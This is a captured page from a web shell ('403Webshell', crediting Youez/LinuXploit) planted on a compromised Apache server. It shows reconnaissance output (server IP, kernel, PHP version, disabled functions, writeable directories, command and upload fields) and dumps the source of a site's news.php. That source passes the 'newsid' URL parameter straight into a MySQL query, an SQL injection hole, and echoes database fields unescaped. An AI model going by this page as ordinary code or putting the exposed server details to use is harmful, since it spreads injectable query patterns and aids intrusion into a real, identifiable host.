403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/airchats.com.hk/en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/airchats.com.hk/en/news.php
<?php require_once('../webadmin/configure.php');?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php //SEO 
	$result1 = mysql_query("SELECT * FROM seo WHERE pagepath = 'News' ");
	$row1 = mysql_fetch_array($result1,MYSQL_ASSOC);	
?>
<title><?=$row1{'seotitle'};?></title>
<meta name="keywords" content="<?=$row1{'seokey'};?>">
<meta name="description" content="<?=$row1{'seodesc'};?>" />
<meta http-equiv="X-UA-Compatible" content="IE=7" />
<link rel="stylesheet" type="text/css" href="../css/style.css" />

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
<script>
	!window.jQuery && document.write('<script src="jquery-1.4.3.min.js"><\/script>');
</script>
<script type="text/javascript" src="../fancybox/jquery.mousewheel-3.0.4.pack.js"></script>
<script type="text/javascript" src="../fancybox/jquery.fancybox-1.3.4.pack.js"></script>
<link rel="stylesheet" type="text/css" href="../fancybox/jquery.fancybox-1.3.4.css" media="screen" />
<script type="text/javascript">
		$(document).ready(function() {
			$("#popup1").fancybox({ //Popup
				'transitionIn'		: 'none',
				'transitionOut'		: 'none',
				'autoScale'     	: false,
				'type'				: 'iframe',
				'width'				: 770,
				'height'			: 470,
				'hideOnOverlayClick': false,
				'centerOnScroll'	: true,
				'scrolling'   		: 'auto',
				'overlayColor'		: '#321301',
				'overlayOpacity'	: '0.9'
			});
		});
</script>

<script type="text/JavaScript">
<!--
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
//-->
</script>
</head>
<body><div id="container">
	<div id="body">
	<table width="830" border="0" align="center" cellpadding="0" cellspacing="0">
	  <tr>
		<td><table width="830" border="0" cellspacing="0" cellpadding="0">
		  <tr>
			<td rowspan="2"><a href="index.php"><img src="../images/logo.jpg" width="220" height="105" hspace="20" style="float:left;" /></a></td>
			<td height="20"><form id="searchform" method="get" action="http://www.google.com/search"><input name="q" type="text" id="searchinput" /><input type="image" src="../images/btn_search.jpg" align="absmiddle"/><input type="hidden"  name="sitesearch" value="<?php echo $_SERVER['SERVER_NAME']; ?>" /></form></td>
		  </tr>
		  <tr>
			<td height="80" align="left" valign="top"><div class="mainmenu">
			<ul>
			 <li><a href="index.php">Home</a></li>
			 <li><a href="aboutus.php">About us</a></li>
			 <li><a href="products.php">Products</a></li>
			 <li><a href="news.php" class="current">News</a></li>
			 <li><a href="contactus.php">Contact us</a></li>
			</ul>
			</div></td>
		  </tr>
		</table></td>
	  </tr>
	  <tr>
		<td align="right" class="path">You are here: <a href="index.php">Home</a> &gt; News </td>
	  </tr>
	  <tr>
		<td><div id="homecontent">
		<?php
			if(empty($_GET["newsid"])){
				$result1 = mysql_query("SELECT * FROM news ORDER BY newsdate DESC, newsid DESC ");
			} else {
				$result1 = mysql_query("SELECT * FROM news WHERE newsid = ".$_GET["newsid"]." ORDER BY newsdate DESC, newsid DESC ");
			}
			$row1 = mysql_fetch_array($result1,MYSQL_ASSOC);
			
			$y = substr($row1{'newsdate'}, 0, 4);
			$m = substr($row1{'newsdate'}, 5, 2);
			$d = substr($row1{'newsdate'}, 8, 2);
			$monthname = array( 1 => 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' );
		?>
		<table width="720" border="0" cellspacing="0" cellpadding="0">
		  <tr>
			<td width="235" height="370" align="left" valign="top"><?php if ($row1{'newsbanner'} <> ''){ 
				echo '<img src="../webadmin/news/'.$row1{'newsbanner'}.'" width="235" height="370" />';
			} else {
				echo '<img src="../webadmin/news/noimage.jpg" width="235" height="370" />';
			}?></td>
			<td width="485" height="370" align="left" valign="top"><div style="padding:40px 0px 0px 25px;"><select name="newsid" onchange="MM_jumpMenu('parent',this,0)" style="width:400px;">
			<?php
			$result2 = mysql_query("SELECT * FROM news ORDER BY newsdate DESC ");
			while ($row2 = mysql_fetch_array($result2,MYSQL_ASSOC))
			{
				echo '<option value="news.php?newsid='.$row2{'newsid'}.'" ';
					if ($row1{'newsid'} == $row2{'newsid'})
						echo 'selected="selected"';
				echo '>'.$row2{'newstitle'}.'</option>';
			}
			?>
			  </select></div>
			  <div class="newsmsg"><span class="title"><?=$row1{'newstitle'};?></span><br />
			  <span class="date"><?=$d ." ". $monthname[$m*1] ." ". $y;?></span><br /><br />
			  <span class="txt"><?=$row1{'newsintro'};?></span></div><span class="more"><a href="news_more.php?newsid=<?=$row1{'newsid'};?>" id="popup1">More...</a></span></td>
		  </tr>
		</table></div>
		<div id="mainframetop"></div><div id="mainframeleft"></div><div id="mainframeright"></div><div id="mainframebottom"></div></td>
	  </tr>
	</table></div>
	<!-- Footer -->
	<div id="footer">
	<table width="830" border="0" cellspacing="0" cellpadding="0">
	  <tr>
		<td align="center" valign="top" class="footer">Copyright &copy; 2015 Chatsford Group. All Rights Reserved. </td>
	  </tr>
	</table>
	</div>
	
<!-- End Container -->	
</div></body>
</html>
<?php mysql_close($dbh);?>

Youez - 2016 - github.com/yon3zu
LinuXploit